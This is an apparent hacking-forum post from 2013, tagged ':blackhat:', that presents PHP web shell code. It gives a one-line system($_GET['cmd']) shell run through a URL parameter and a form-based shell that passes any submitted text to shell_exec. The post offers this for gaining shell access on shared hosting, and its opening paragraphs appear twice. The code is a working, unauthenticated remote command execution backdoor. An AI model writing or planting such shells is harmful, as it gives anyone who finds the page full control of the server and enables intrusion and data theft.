Execute commands with a GUI. 12-19-2013, 11:43 PM
#1
Okay, so basically this is an improved version of:
Now what does that do?
That code allows you to run shell commands on your web server, if you put that code in index.php you could do this to execute commands.
LS = List
Now you may not want to do it that way, you might want a specific file to do this.(the purpose of this being shared hosting doesn't give you shell access)
The code you would use is:
Now there will be a text box in the file, you can execute commands in the textbox.
:blackhat:
PHP Code:
system($_GET['cmd']);
Now what does that do?
That code allows you to run shell commands on your web server, if you put that code in index.php you could do this to execute commands.
PHP Code:
index.php?cmd=ls
LS = List
Now you may not want to do it that way, you might want a specific file to do this.(the purpose of this being shared hosting doesn't give you shell access)
The code you would use is:
PHP Code:
<?php
function exec_cmd(){
if (isset($_POST['command'])){
$exc = $_POST['command']; echo shell_exec($exc);
}
}
?>
<form action='<?php echo $_SERVER["PHP_SELF"]?>' method='post'>
<input type= 'text' name='command' />
<input type='submit' />
</form>
<?php exec_cmd();?>
<marquee behavior="slide" direction="left">Kirito's command shell.</marquee>
Now there will be a text box in the file, you can execute commands in the textbox.
:blackhat:




![[+]](https://sinister.li/images/modern/collapse_collapsed.png)
![[Image: Shift+Signature.png]](http://o.aolcdn.com/hss/storage/fss/3e3896eb718efaa9a15cdc72a7467d80/Shift+Signature.png)

